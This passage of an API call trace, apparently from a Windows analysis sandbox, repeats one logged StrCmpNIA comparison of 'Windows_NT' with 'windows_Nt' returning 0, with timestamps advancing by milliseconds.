StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.268] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.269] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.269] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.269] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.269] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.269] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.269] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.269] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.269] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.269] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.269] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.269] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.269] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.269] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.269] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.269] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.269] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.269] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.269] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.269] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.269] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.269] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.269] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.269] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.269] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.269] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.270] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.270] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.271] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.272] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.273] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.274] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.275] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.276] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.276] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.276] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.276] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.276] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.276] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.276] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.276] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.276] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.276] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.276] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.276] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.276] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.276] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.276] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.276] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.276] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.276] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.276] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.276] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.276] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.276] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.276] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.276] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.276] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.276] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.276] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.277] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.277] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.277] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.277] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.277] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.277] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.277] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.277] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.277] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.277] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.277] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.277] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.277] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.278] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.278] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.278] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.278] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.278] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.278] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.278] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.278] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.278] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.279] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.279] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.279] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.279] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.279] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.282] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.282] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.282] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.282] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.282] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.282] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.283] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.283] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.283] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.283] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.283] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.283] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.284] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.284] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.284] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.284] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.284] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.284] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.284] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.284] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.284] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.284] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.284] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.284] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.284] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.284] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.284] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.284] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.285] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.285] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.285] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.285] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.285] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.285] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.285] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.285] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.285] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.285] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.285] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.285] StrCmpNIA (lpStr1="Windows_NT", lpStr2="windows_Nt", nChar=31) returned 0 [0015.285] StrCmpNIA (lpStr1="Windows_NT", 